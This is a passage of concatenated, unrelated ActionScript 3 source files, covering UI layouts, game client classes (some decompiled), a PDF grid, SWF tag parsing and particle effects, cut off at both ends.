* Access to the starting polar angle of the layout in radians.
* */
[Bindable]
public function get phi():Number {
return _phi;
}
/**
* @private
* */
public function set phi(p:Number):void {
_phi = p;
}
/**
* This method sets polar coordinates along with the
* node's origin and zero angle offset.
* @param n The node for which to set the values.
* @param origin The node's origin (typically parents relative coordinates)
* @param angleOff The node's zero angle offset (in degrees).
* @param polarR The relative polar radius of the node.
* @param polarPhi The relative polar angle of the node (in degrees).
* */
public function setNodeCoordinates(n:INode, origin:Point, angleOff:Number, polarR:Number, polarPhi:Number):void {
var p:Point;
/* we have to void NaN values */
if(isNaN(angleOff)) {
throw Error("angleOffset tried to set to NaN");
}
if(isNaN(polarR)) {
throw Error("polarR tried to set to NaN");
}
if(isNaN(polarPhi)) {
throw Error("polarPhi tried to set to NaN");
}
/* normalize angles */
angleOff = Geometry.normaliseAngleDeg(angleOff);
polarPhi = Geometry.normaliseAngleDeg(polarPhi);
/* set the local params */
_nodeOrigins[n] = origin;
_nodeZeroAngleOffsets[n] = angleOff;
_localPolarRs[n] = polarR;
_localPolarPhis[n] = polarPhi;
/*
LogUtil.debug(_LOG, "Raw polar calc node:"+n.id+" origin:"+origin.toString()+" angleOff:"+angleOff+
" polarRadius:"+polarR+" polarPhi:"+polarPhi+" result:"+Geometry.cartFromPolarDeg(polarR,polarPhi));
*/
/* set the values of the base class, BUT the relative coordinates
* must be consistent relative coordinates, but we may
* need to store the current polarR and polarPhis too...
* due to the y-axis orientation, we have to change the sign
* of the angle */
this.setPolarCoordinates(n, polarR, -Geometry.normaliseAngleDeg(polarPhi+angleOff));
/* now get the relative cartesians, but we need to add the
* local origin offset */
p = this.getRelCartCoordinates(n);
//LogUtil.debug(_LOG, "With angle offset:"+p.toString());
p = p.add(origin);
//LogUtil.debug(_LOG, "With origin:"+origin.toString()+" offset = "+p.toString());
/* and set them again */
this.setCartCoordinates(n, p);
/*
LogUtil.debug(_LOG, "SetNodeCoordinates of node:"+n.id+" origin:"+origin.toString()+" angleOff:"+angleOff+
" polarRadius:"+polarR+" polarPhi:"+polarPhi+" and in cartesian:"+this.getRelCartCoordinates(n).toString());
*/
}
/**
* Access to the local origin of each node
* @param n The node of which the origin is requested.
* @return The origin as a Point.
* */
public function getOrigin(n:INode):Point {
return _nodeOrigins[n]
}
/**
* Access to the local zero angle offset of each node.
* @param n The node to which the zero angle offset is requested.
* @return The zero angle offset in radians.
* */
public function getAngleOffset(n:INode):Number {
return _nodeZeroAngleOffsets[n];
}
/**
* Access to the local polar radius (without zero angle offset
* or local origin applied).
* @param n The node for which the local polar radius is requested.
* @return The local polar radius.
* */
public function getLocalPolarR(n:INode):Number {
return _localPolarRs[n];
}
/**
* Access to the local polar angle (without zero angle offset
* or local origin applied).
* @param n The node for which the local polar angle is requested.
* @return The local polar angle in radians.
* */
public function getLocalPolarPhi(n:INode):Number {
return _localPolarPhis[n];
}
}
}
|
package UI.abstract.component.control.tree
{
import UI.abstract.component.control.list.AList;
public class ATree extends AList
{
public function ATree()
{
super();
}
}
} |
//
// $Id$
package com.threerings.msoy.world.client {
import com.threerings.util.Log;
import com.threerings.presents.client.BasicDirector;
import com.threerings.presents.client.Client;
import com.threerings.msoy.client.MemberService;
import com.threerings.msoy.data.MemberMarshaller;
import com.threerings.msoy.data.MemberObject;
import com.threerings.msoy.data.MsoyCodes;
import com.threerings.msoy.world.client.WorldContext;
public class MemberDirector extends BasicDirector
{
public const log :Log = Log.getLog(MemberDirector);
// statically reference classes we require
MemberMarshaller;
public function MemberDirector (ctx :WorldContext)
{
super(ctx);
_wctx = ctx;
}
/**
* Request to make the user our friend.
*/
public function inviteToBeFriend (friendId :int) :void
{
_msvc.inviteToBeFriend(friendId, _wctx.resultListener(handleInviteResult));
}
/**
* Request to change our display name.
*/
public function setDisplayName (newName :String) :void
{
_msvc.setDisplayName(newName,
_wctx.confirmListener(_wctx.getWorldController().refreshDisplayName));
}
protected function handleInviteResult (automatic :Boolean) : void
{
if (!automatic) {
_wctx.displayFeedback(MsoyCodes.GENERAL_MSGS, "m.friend_invited")
}
}
// from BasicDirector
override protected function registerServices (client :Client) :void
{
client.addServiceGroup(MsoyCodes.MSOY_GROUP);
}
// from BasicDirector
override protected function fetchServices (client :Client) :void
{
super.fetchServices(client);
_msvc = (client.requireService(MemberService) as MemberService);
}
protected var _wctx :WorldContext;
protected var _msvc :MemberService;
protected var _mobj :MemberObject;
}
}
|
// Decompiled by AS3 Sorcerer 6.08
// www.as3sorcerer.com
//kabam.rotmg.account.core.signals.SendConfirmEmailSignal
package kabam.rotmg.account.core.signals
{
import org.osflash.signals.Signal;
public class SendConfirmEmailSignal extends Signal
{
}
}//package kabam.rotmg.account.core.signals
|
package com.illuzor.bubbles.graphics {
import starling.textures.Texture;
/**
* Класс круга, летающего по сцене
*/
public class Circle extends PlayerCircle {
public var directionX:int;
public var directionY:int;
private var speedX:Number;
private var speedY:Number;
public function Circle(texture:Texture, speedX:Number, speedY:Number) {
super(texture);
this.speedY = speedY;
this.speedX = speedX;
width = height = 24;
}
public function move():void {
this.x = this.x + directionX * speedX;
this.y = this.y + directionY * speedY;
}
}
} |
//THIS FILE IS AUTO GENERATED, DO NOT MODIFY!!
//THIS FILE IS AUTO GENERATED, DO NOT MODIFY!!
//THIS FILE IS AUTO GENERATED, DO NOT MODIFY!!
package com.gamesparks.api.responses
{
import com.gamesparks.api.types.*;
import com.gamesparks.*;
/**
* A response to a SocialDisconnectRequest
*/
public class SocialDisconnectResponse extends GSResponse
{
public function SocialDisconnectResponse(data : Object)
{
super(data);
}
}
}
|
// Decompiled by AS3 Sorcerer 6.08
// www.as3sorcerer.com
//kabam.rotmg.messaging.impl.outgoing.ChooseName
package kabam.rotmg.messaging.impl.outgoing
{
import flash.utils.IDataOutput;
public class ChooseName extends OutgoingMessage
{
public var name_:String;
public function ChooseName(_arg_1:uint, _arg_2:Function)
{
super(_arg_1, _arg_2);
}
override public function writeToOutput(_arg_1:IDataOutput):void
{
_arg_1.writeUTF(this.name_);
}
override public function toString():String
{
return (formatToString("CHOOSENAME", "name_"));
}
}
}//package kabam.rotmg.messaging.impl.outgoing
|
package kabam.rotmg.dailyLogin.model
{
public class CalendarDayModel
{
private var _dayNumber:int;
private var _quantity:int;
private var _itemID:int;
private var _gold:int;
private var _isClaimed:Boolean;
private var _isCurrent:Boolean;
private var _claimKey:String = "";
private var _calendarType:String = "";
public function CalendarDayModel(param1:int, param2:int, param3:int, param4:int, param5:Boolean, param6:String)
{
super();
this._dayNumber = param1;
this._itemID = param2;
this._gold = param3;
this._isClaimed = param5;
this._quantity = param4;
this._calendarType = param6;
}
public function get dayNumber() : int
{
return this._dayNumber;
}
public function set dayNumber(param1:int) : void
{
this._dayNumber = param1;
}
public function get itemID() : int
{
return this._itemID;
}
public function set itemID(param1:int) : void
{
this._itemID = param1;
}
public function get gold() : int
{
return this._gold;
}
public function set gold(param1:int) : void
{
this._gold = param1;
}
public function get isClaimed() : Boolean
{
return this._isClaimed;
}
public function set isClaimed(param1:Boolean) : void
{
this._isClaimed = param1;
}
public function toString() : String
{
return "Day " + this._dayNumber + ", item: " + this._itemID + " x" + this._quantity;
}
public function get isCurrent() : Boolean
{
return this._isCurrent;
}
public function set isCurrent(param1:Boolean) : void
{
this._isCurrent = param1;
}
public function get quantity() : int
{
return this._quantity;
}
public function set quantity(param1:int) : void
{
this._quantity = param1;
}
public function get claimKey() : String
{
return this._claimKey;
}
public function set claimKey(param1:String) : void
{
this._claimKey = param1;
}
public function get calendarType() : String
{
return this._calendarType;
}
public function set calendarType(param1:String) : void
{
this._calendarType = param1;
}
}
}
|
package com.huawei.sdnc.model.qos
{
public class QosGlobalCfgs
{
public function QosGlobalCfgs()
{
}
public var qosGlobalPolicyApplys:Array = [];
}
} |
package org.alivepdf.grid
{
import flash.utils.ByteArray;
import org.alivepdf.colors.IColor;
import org.alivepdf.colors.RGBColor;
import org.alivepdf.export.CSVExport;
import org.alivepdf.export.Export;
import org.alivepdf.serializer.ISerializer;
public class Grid
{
private var _data:Array;
private var _width:Number;
private var _height:Number;
private var _headerHeight:int;
private var _rowHeight:int;
private var _x:int;
private var _y:int;
private var _columns:Array;
private var _cells:Array; // array of array of GridCell
private var _borderColor:IColor;
private var _borderAlpha:Number;
private var _joints:String;
private var _backgroundColor:IColor;
private var _headerColor:IColor;
private var _cellColor:IColor;
private var _alternativeCellColor:IColor;
private var _useAlternativeRowColor:Boolean;
private var _serializer:ISerializer;
public function Grid( data:Array, width:Number, height:Number, headerColor:IColor, cellColor:IColor=null,
useAlternativeRowColor:Boolean=false, alternativeCellColor:IColor=null,
borderColor:IColor=null, borderAlpha:Number=1,
headerHeight:int=5, rowHeight:int=5,
joints:String="0 j", columns:Array=null)
{
_data = data;
_width = width;
_height = height;
_borderColor = (borderColor == null) ? new RGBColor(0x000000) : borderColor; // black by default
_borderAlpha = borderAlpha;
_rowHeight = rowHeight;
_headerHeight = headerHeight;
_joints = joints;
_headerColor = headerColor;
_cellColor = cellColor = (cellColor == null) ? new RGBColor(0xffffff) : cellColor;
_alternativeCellColor = (alternativeCellColor == null) ? new RGBColor(0xd3d3d3) : alternativeCellColor;
_useAlternativeRowColor = useAlternativeRowColor;
if ( columns != null )
this.columns = columns;
}
public function export ( type:String="csv" ):ByteArray
{
if ( type == Export.CSV )
_serializer = new CSVExport(_data, _columns);
return _serializer.serialize();
}
public function generateColumns(force:Boolean=false, headerAlign:String="L", cellAlign:String="L"):void
{
var buffer:Array = dataProvider;
if ( (columns != null && force ) || columns == null)
{
var firstItem:* = buffer[0];
var fields:Array = new Array();
var column:GridColumn;
for ( var p:String in firstItem )
fields.push ( p );
fields.sort();
columns = new Array();
var fieldsLng:int = fields.length;
for (var i:int = 0; i< fieldsLng; i++)
columns.push ( new GridColumn ( fields[i], fields[i], this.width / fieldsLng, headerAlign, cellAlign) );
}
}
public function generateCells():void
{
var buffer:Array = dataProvider;
var lng:int = buffer.length;
var lngColumns:int = columns.length;
var row:Array;
var item:Object;
var isEven:int;
var result:Array = new Array();
for (var i:int = 0; i< lng; i++)
{
item = buffer[i];
row = new Array();
for (var j:int = 0; j< lngColumns; j++)
{
var cell:GridCell = new GridCell(item[columns[j].dataField]);
cell.backgroundColor = (useAlternativeRowColor && Boolean(isEven = i&1))
? alternativeCellColor : cellColor;
row.push ( cell );
}
result.push( row );
}
_cells = result;
}
public function get columns ():Array
{
return _columns;
}
public function set columns ( columns:Array ):void
{
_columns = columns;
}
public function get cells():Array
{
return _cells;
}
public function get width ():Number
{
return _width;
}
public function get height ():Number
{
return _height;
}
public function get rowHeight():int
{
return _rowHeight;
}
public function get headerHeight():int
{
return _headerHeight;
}
public function get x ():int
{
return _x;
}
public function get y ():int
{
return _y;
}
public function set x ( x:int ):void
{
_x = x;
}
public function set y ( y:int ):void
{
_y = y;
}
public function get borderColor ():IColor
{
return _borderColor;
}
public function get borderAlpha ():Number
{
return _borderAlpha;
}
public function get joints ():String
{
return _joints;
}
public function get headerColor ():IColor
{
return _headerColor;
}
public function get cellColor ():IColor
{
return _cellColor;
}
public function get useAlternativeRowColor ():Boolean
{
return _useAlternativeRowColor;
}
public function get alternativeCellColor ():IColor
{
return _alternativeCellColor;
}
public function get dataProvider ():Array
{
return _data;
}
public function toString ():String
{
return "[Grid cells="+_data.length+" alternateRowColor="+_useAlternativeRowColor+" x="+x+" y="+y+"]";
}
}
} |
package de.alexmilde.bmd
{
import flash.display.BitmapData;
import flash.geom.ColorTransform;
import flash.geom.Matrix;
import flash.geom.Point;
import flash.geom.Rectangle;
/**
* @author Alexander Milde
*/
public class BmdAnalyser
{
private static var DIFFERENCE : String = "difference";
private static var BIGGER_AS : String = ">";
private static var SMALLER_AS : String = "<";
public static function createDifferenceBmd(bmd1 : BitmapData, bmd2 : BitmapData, fillClr : uint = 0xffff0000, rangeClr : uint = 0xff111111) : BitmapData
{
var rect : Rectangle = new Rectangle(0, 0, bmd1.width, bmd1.height);
bmd1.draw(bmd2, new Matrix(), new ColorTransform(), DIFFERENCE);
bmd1.threshold(bmd1,rect,new Point(), BIGGER_AS, rangeClr, fillClr);
bmd1.threshold(bmd1,rect,new Point(), SMALLER_AS, rangeClr, 0x00ffffff);
return bmd1;
}
}
}
|
package gs.util
{
import flash.events.Event;
/**
* The FrameDelay class allows for a callback to be called after
* a certain amount of frames have passed.
*
* @example Using a FrameDelay:
* <listing>
* var fd:FrameDelay=new FrameDelay(after10, 10);
* function after10():void
* {
* trace("10 frames have passed");
* }
* </listing>
*/
final public class FrameDelay
{
/**
* is done flag.
*/
private var isDone:Boolean;
/**
* The current frame.
*/
private var currentFrame:int;
/**
* The callback.
*/
private var callback:Function;
/**
* Parameters to send to the callback.
*/
private var params:Array;
/**
* Constructor for FrameDelay instances.
*
* @param callback The callback to call.
* @param frameCount The number of frames to wait.
* @param params An array of parameters to send to your callback.
*/
public function FrameDelay(callback:Function,frameCount:int=0,params:Array=null)
{
currentFrame=frameCount;
this.callback=callback;
this.params=params;
isDone=(isNaN(frameCount) || (frameCount <= 1));
FramePulse.AddEnterFrameListener(handleEnterFrame);
}
/**
* Handle an enter frame event.
*/
private function handleEnterFrame(e:Event):void
{
if(isDone)
{
if(params==null)callback();
else callback.apply(null,params);
dispose();
}
else
{
currentFrame--;
isDone=(currentFrame<=1);
}
}
/**
* Dispose of this FrameDelay instance.
*/
public function dispose():void
{
if(isDone)
{
FramePulse.RemoveEnterFrameListener(handleEnterFrame);
params=null;
callback=null;
currentFrame=0;
isDone=false;
}
}
}
}
|
/**
* This class handles general page functions.
*
* @langversion ActionScript 3.0
* @playerversion Flash 9.0
* @author David Cary
* @since 01.04.2010
*/
package com.neopets.games.marketing.destination.HOP2011.pages
{
//----------------------------------------
// IMPORTS
//----------------------------------------/**/
import flash.display.MovieClip;
import flash.events.Event;
import com.neopets.util.servers.NeopetsServerManager;
import com.neopets.games.marketing.destination.HOP2011.commands.GoToURLCommand;
import com.neopets.games.marketing.destination.HOP2011.commands.DispatcherCommand;
public class AbsPage extends MovieClip
{
//----------------------------------------
// VARIABLES
//----------------------------------------
//----------------------------------------
// VARIABLES
//----------------------------------------
//----------------------------------------
// CONSTRUCTOR
//----------------------------------------
public function AbsPage():void
{
super();
addEventListener(Event.ADDED_TO_STAGE,onAddedToStage);
}
//----------------------------------------
// GETTERS AND SETTERS
//----------------------------------------
//----------------------------------------
// PUBLIC METHODS
//----------------------------------------
public function initEventButton(btn:MovieClip,tag:String,info:Object=null):void {
if(btn != null && tag != null) {
btn.clickCommand = new DispatcherCommand(this,tag,info);
}
}
public function initSiteLink(btn:MovieClip,path:String):void {
if(btn != null && path != null) {
btn.clickCommand = new GoToURLCommand(path);
}
}
//----------------------------------------
// PROTECTED METHODS
//----------------------------------------
// Use this to set up all child objects.
protected function initChildren():void {}
//----------------------------------------
// PRIVATE METHODS
//----------------------------------------
//----------------------------------------
// EVENT LISTENERS
//----------------------------------------
protected function onAddedToStage(ev:Event) {
NeopetsServerManager.instance.findServersFor(this);
initChildren();
removeEventListener(Event.ADDED_TO_STAGE,onAddedToStage);
}
}
} |
package seedlings{
import flash.display.MovieClip;
import flash.display.Sprite;
//Progressbar class
public class Progressbar extends MovieClip{
public function Progressbar() {
setProgress(0);
//Prevent bar from being clicked
this.mouseEnabled = false;
this.mouseChildren = false;
}
public function setProgress(progress:Number):void{
//Set progress
msk.scaleX = progress
}
}
}
|
/* Copyright (c) 2010 Maxim Kachurovskiy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE. */
package com.cgpClient.fileStorage.actions
{
import com.cgpClient.fileStorage.FileStorage;
import com.cgpClient.fileStorage.FileStorageDirectory;
import com.cgpClient.net.Net;
import com.cgpClient.net.getErrorText;
/**
* Lists all directories and files.
*/
public class ExploreAction extends FileStorageAction
{
private var fromDirectory:String;
private var directoriesToList:Array;
private var errors:Array = [];
public function start(fileStorage:FileStorage, fromDirectory:String):void
{
this.fileStorage = fileStorage;
this.fromDirectory = fromDirectory;
startRunning();
directoriesToList = [ fromDirectory ];
check();
}
private function check():void
{
if (directoriesToList.length > 0)
{
var path:String = directoriesToList.shift();
Net.ximss(<fileList directory={path}/>, dataCallback, responseCallback);
}
else if (errors.length > 0)
{
error(errors.join("\n"));
}
else
{
complete();
}
}
private function dataCallback(xml:XML):void
{
var directory:FileStorageDirectory = fileStorage.update(xml) as
FileStorageDirectory;
if (directory)
directoriesToList.push(directory.path);
}
private function responseCallback(object:Object):void
{
var text:String = getErrorText(object);
if (text)
errors.push(text);
check();
}
}
} |
package com.codeazur.as3swf.tags
{
import com.codeazur.as3swf.SWFData;
import com.codeazur.as3swf.data.consts.BitmapFormat;
import flash.utils.ByteArray;
public class TagDefineBitsLossless extends Tag implements IDefinitionTag
{
public static const TYPE:uint = 20;
public var bitmapFormat:uint;
public var bitmapWidth:uint;
public var bitmapHeight:uint;
public var bitmapColorTableSize:uint;
protected var _characterId:uint;
protected var _zlibBitmapData:ByteArray;
public function TagDefineBitsLossless() {
_zlibBitmapData = new ByteArray();
}
public function get characterId():uint { return _characterId; }
public function get zlibBitmapData():ByteArray { return _zlibBitmapData; }
public function parse(data:SWFData, length:uint, version:uint):void {
_characterId = data.readUI16();
bitmapFormat = data.readUI8();
bitmapWidth = data.readUI16();
bitmapHeight = data.readUI16();
if (bitmapFormat == BitmapFormat.BIT_8) {
bitmapColorTableSize = data.readUI8();
}
data.readBytes(zlibBitmapData, 0, length - ((bitmapFormat == BitmapFormat.BIT_8) ? 8 : 7));
}
public function publish(data:SWFData, version:uint):void {
var body:SWFData = new SWFData();
body.writeUI16(_characterId);
body.writeUI8(bitmapFormat);
body.writeUI16(bitmapWidth);
body.writeUI16(bitmapHeight);
if (bitmapFormat == BitmapFormat.BIT_8) {
body.writeUI8(bitmapColorTableSize);
}
if (_zlibBitmapData.length > 0) {
body.writeBytes(_zlibBitmapData);
}
data.writeTagHeader(type, body.length);
data.writeBytes(body);
}
override public function get type():uint { return TYPE; }
override public function get name():String { return "DefineBitsLossless"; }
override public function get version():uint { return 2; }
public function toString(indent:uint = 0):String {
return toStringMain(indent) +
"ID: " + characterId + ", " +
"Format: " + BitmapFormat.toString(bitmapFormat) + ", " +
"Size: (" + bitmapWidth + "," + bitmapHeight + ")";
}
}
}
|
////////////////////////////////////////////////////////////////////////////////
//
// Licensed to the Apache Software Foundation (ASF) under one or more
// contributor license agreements. See the NOTICE file distributed with
// this work for additional information regarding copyright ownership.
// The ASF licenses this file to You under the Apache License, Version 2.0
// (the "License"); you may not use this file except in compliance with
// the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
package org.apache.royale.jewel.beads.layouts
{
COMPILE::JS
{
import org.apache.royale.core.UIBase;
}
import org.apache.royale.core.IBorderPaddingMarginValuesImpl;
import org.apache.royale.core.ILayoutChild;
import org.apache.royale.core.ILayoutView;
import org.apache.royale.core.IUIBase;
import org.apache.royale.core.ValuesManager;
import org.apache.royale.core.layout.EdgeData;
import org.apache.royale.events.Event;
import org.apache.royale.jewel.beads.layouts.StyledLayoutBase;
/**
* The VerticalLayout class is a simple layout
* bead. It takes the set of children and lays them out
* vertically in one column, separating them according to
* CSS layout rules for margin and horizontal-align styles.
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public class SimpleVerticalLayout extends StyledLayoutBase
{
/**
* Constructor.
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public function SimpleVerticalLayout()
{
super();
}
/**
* @royalesuppresspublicvarwarning
*/
public static const LAYOUT_TYPE_NAMES:String = "layout vertical";
/**
* Add class selectors when the component is addedToParent
* Otherwise component will not get the class selectors when
* perform "removeElement" and then "addElement"
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
override public function beadsAddedHandler(event:Event = null):void
{
super.beadsAddedHandler();
COMPILE::JS
{
if (hostClassList.contains("layout"))
hostClassList.remove("layout");
hostClassList.add("layout");
if(hostClassList.contains("vertical"))
hostClassList.remove("vertical");
hostClassList.add("vertical");
}
}
/**
* Layout children vertically
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
* @royaleignorecoercion org.apache.royale.core.WrappedHTMLElement
*/
override public function layout():Boolean
{
COMPILE::SWF
{
var contentView:ILayoutView = layoutView;
var n:Number = contentView.numElements;
if (n == 0) return false;
var maxWidth:Number = 0;
var maxHeight:Number = 0;
var hostWidthSizedToContent:Boolean = host.isWidthSizedToContent();
var hostHeightSizedToContent:Boolean = host.isHeightSizedToContent();
var hostWidth:Number = host.width;
var hostHeight:Number = host.height;
var ilc:ILayoutChild;
var data:Object;
var canAdjust:Boolean = false;
var paddingMetrics:EdgeData = (ValuesManager.valuesImpl as IBorderPaddingMarginValuesImpl).getPaddingMetrics(host);
var borderMetrics:EdgeData = (ValuesManager.valuesImpl as IBorderPaddingMarginValuesImpl).getBorderMetrics(host);
// adjust the host's usable size by the metrics. If hostSizedToContent, then the
// resulting adjusted value may be less than zero.
hostWidth -= paddingMetrics.left + paddingMetrics.right + borderMetrics.left + borderMetrics.right;
hostHeight -= paddingMetrics.top + paddingMetrics.bottom + borderMetrics.top + borderMetrics.bottom;
var xpos:Number = borderMetrics.left + paddingMetrics.left;
var ypos:Number = borderMetrics.top + paddingMetrics.top;
// First pass determines the data about the child.
for(var i:int=0; i < n; i++)
{
var child:IUIBase = contentView.getElementAt(i) as IUIBase;
if (child == null || !child.visible) continue;
var positions:Object = childPositions(child);
var margins:Object = childMargins(child, hostWidth, hostHeight);
ilc = child as ILayoutChild;
ypos += margins.top;
var childXpos:Number = xpos + margins.left; // default x position
var childWidth:Number = child.width;
if (ilc != null && !isNaN(ilc.percentWidth)) {
childWidth = hostWidth * ilc.percentWidth/100.0;
ilc.setWidth(childWidth);
}
else if (ilc.isWidthSizedToContent() && !margins.auto)
{
childWidth = hostWidth;
ilc.setWidth(childWidth);
}
if (margins.auto)
childXpos = (hostWidth - childWidth) / 2;
if (ilc) {
ilc.setX(childXpos);
ilc.setY(ypos);
if (!isNaN(ilc.percentHeight)) {
var newHeight:Number = hostHeight * ilc.percentHeight / 100;
ilc.setHeight(newHeight);
}
} else {
child.x = childXpos;
child.y = ypos;
}
ypos += child.height + margins.bottom;
}
return true;
}
COMPILE::JS
{
// var children:Array = contentView.internalChildren();
// var i:int;
// var n:int = children.length;
// for (i = 0; i < n; i++)
// {
// var child:WrappedHTMLElement = children[i] as WrappedHTMLElement;
// if (child == null) continue;
// child.royale_wrapper.dispatchEvent('sizeChanged');
// }
/**
* This Layout uses the following CSS rules
* no code needed in JS for layout
*
* .layout {
* display: flex:
* }
* .layout.vertical {
* flex-flow: column nowrap;
* align-items: flex-start;
* }
*/
return true;
}
}
}
}
|
package fl.transitions.easing
{
public class Elastic
{
public static function easeIn (t:Number, b:Number, c:Number, d:Number, a:Number = 0, p:Number = 0) : Number;
public static function easeOut (t:Number, b:Number, c:Number, d:Number, a:Number = 0, p:Number = 0) : Number;
public static function easeInOut (t:Number, b:Number, c:Number, d:Number, a:Number = 0, p:Number = 0) : Number;
}
}
|
package test.yellcorp.lib.format.geo
{
import asunit.textui.TestRunner;
public class GeoFormatTestRun extends TestRunner
{
public function GeoFormatTestRun()
{
super();
start(GeoFormatTest, null, SHOW_TRACE);
}
}
}
|
package away3d.animators.nodes
{
import flash.geom.*;
import away3d.*;
import away3d.animators.*;
import away3d.animators.data.*;
import away3d.animators.states.*;
import away3d.materials.compilation.*;
import away3d.materials.passes.*;
use namespace arcane;
/**
* A particle animation node used to set the starting velocity of a particle.
*/
public class ParticleVelocityNode extends ParticleNodeBase
{
/** @private */
arcane static const VELOCITY_INDEX:int = 0;
/** @private */
arcane var _velocity:Vector3D;
/**
* Reference for velocity node properties on a single particle (when in local property mode).
* Expects a <code>Vector3D</code> object representing the direction of movement on the particle.
*/
public static const VELOCITY_VECTOR3D:String = "VelocityVector3D";
/**
* Creates a new <code>ParticleVelocityNode</code>
*
* @param mode Defines whether the mode of operation acts on local properties of a particle or global properties of the node.
* @param [optional] velocity Defines the default velocity vector of the node, used when in global mode.
*/
public function ParticleVelocityNode(mode:uint, velocity:Vector3D = null)
{
super("ParticleVelocity", mode, 3);
_stateClass = ParticleVelocityState;
_velocity = velocity || new Vector3D();
}
/**
* @inheritDoc
*/
override public function getAGALVertexCode(pass:MaterialPassBase, animationRegisterCache:AnimationRegisterCache):String
{
pass = pass;
var velocityValue:ShaderRegisterElement = (_mode == ParticlePropertiesMode.GLOBAL)? animationRegisterCache.getFreeVertexConstant() : animationRegisterCache.getFreeVertexAttribute();
animationRegisterCache.setRegisterIndex(this, VELOCITY_INDEX, velocityValue.index);
var distance:ShaderRegisterElement = animationRegisterCache.getFreeVertexVectorTemp();
var code:String = "";
code += "mul " + distance + "," + animationRegisterCache.vertexTime + "," + velocityValue + "\n";
code += "add " + animationRegisterCache.positionTarget + ".xyz," + distance + "," + animationRegisterCache.positionTarget + ".xyz\n";
if (animationRegisterCache.needVelocity)
code += "add " + animationRegisterCache.velocityTarget + ".xyz," + velocityValue + ".xyz," + animationRegisterCache.velocityTarget + ".xyz\n";
return code;
}
/**
* @inheritDoc
*/
public function getAnimationState(animator:IAnimator):ParticleVelocityState
{
return animator.getAnimationState(this) as ParticleVelocityState;
}
/**
* @inheritDoc
*/
override arcane function generatePropertyOfOneParticle(param:ParticleProperties):void
{
var _tempVelocity:Vector3D = param[VELOCITY_VECTOR3D];
if (!_tempVelocity)
throw new Error("there is no " + VELOCITY_VECTOR3D + " in param!");
_oneData[0] = _tempVelocity.x;
_oneData[1] = _tempVelocity.y;
_oneData[2] = _tempVelocity.z;
}
}
}
|
package cmodule.decry
{
const __2E_str5104:int = gstaticInitter.alloc(9,1);
}
|
/*
* Copyright (c) 2014 Frédéric Thomas
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* User: Frederic THOMAS Date: 14/06/2014 Time: 15:13
*/
package com.doublefx.as3.thread.event {
import flash.events.Event;
[RemoteClass(alias="com.doublefx.as3.thread.event.ThreadResultEvent")]
public class ThreadResultEvent extends Event {
public static const RESULT:String = "result";
private var _result:*;
public function ThreadResultEvent(result:* = null, bubbles:Boolean = false, cancelable:Boolean = false) {
super(RESULT, bubbles, cancelable);
_result = result;
}
public function get result():* {
return _result;
}
public function set result(value:*):void {
_result = value;
}
public override function clone():Event {
var evt:ThreadResultEvent = new ThreadResultEvent(_result, this.bubbles, this.cancelable);
return evt;
}
}
}
|
package {
import flash.display.Sprite;
import flash.events.Event;
import flash.filters.GlowFilter;
public class Ribbons extends Sprite
{
private var ribbonAmount:int = 5;
private var ribbonParticleAmount:int = 20;
private var randomness:Number = .2;
private var ribbonManager:RibbonManager;
public function Ribbons()
{
this.filters = [new GlowFilter(0xff0000,1,50,50,1,2)];
ribbonManager = new RibbonManager(this, ribbonAmount, ribbonParticleAmount, randomness, "rothko_01.jpg"); // field, rothko_01-02, absImp_01-03 picasso_01
ribbonManager.setRadiusMax(8); // default = 8
ribbonManager.setRadiusDivide(10); // default = 10
ribbonManager.setGravity(.03); // default = .03
ribbonManager.setFriction(1.1); // default = 1.1
ribbonManager.setMaxDistance(40); // default = 40
ribbonManager.setDrag(2); // default = 2
ribbonManager.setDragFlare(.008); // default = .008
addEventListener(Event.ENTER_FRAME, draw);
}
public function draw(e:Event):void
{
ribbonManager.update(mouseX, mouseY);
}
}
}
|
package game.objects
{
public class GameSysMsgType
{
public static const GET_ITEM_INVENTORY_FULL:int = 1;
public function GameSysMsgType()
{
super();
}
}
}
|
package comp
{
import core.Assets;
import flash.display.*;
import idv.cjcat.stardust.common.actions.Age;
import idv.cjcat.stardust.common.actions.AlphaCurve;
import idv.cjcat.stardust.common.actions.DeathLife;
import idv.cjcat.stardust.common.clocks.Clock;
import idv.cjcat.stardust.common.emitters.Emitter;
import idv.cjcat.stardust.common.initializers.Life;
